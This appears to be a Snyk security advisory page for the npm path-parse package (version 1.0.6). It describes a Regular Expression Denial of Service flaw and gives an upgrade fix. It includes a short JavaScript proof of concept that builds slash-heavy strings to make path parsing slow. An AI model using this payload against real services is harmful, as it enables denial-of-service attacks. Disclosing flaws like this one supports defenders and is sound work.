org.webjars.npm:path-parse@1.0.6 vulnerabilities

  • latest version

    1.0.7

  • latest non vulnerable version

  • first published

    7 years ago

  • latest version published

    3 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:path-parse package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    org.webjars.npm:path-parse is a Node.js path.parse() ponyfill

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.

    PoC

    var pathParse = require('path-parse');
    function build_attack(n) {
        var ret = ""
        for (var i = 0; i < n; i++) {
            ret += "/"
        }
        return ret + "◎";
    }
    
    for(var i = 1; i <= 5000000; i++) {
        if (i % 10000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
            pathParse(attack_str);
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
     }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:path-parse to version 1.0.7 or higher.

    [0,1.0.7)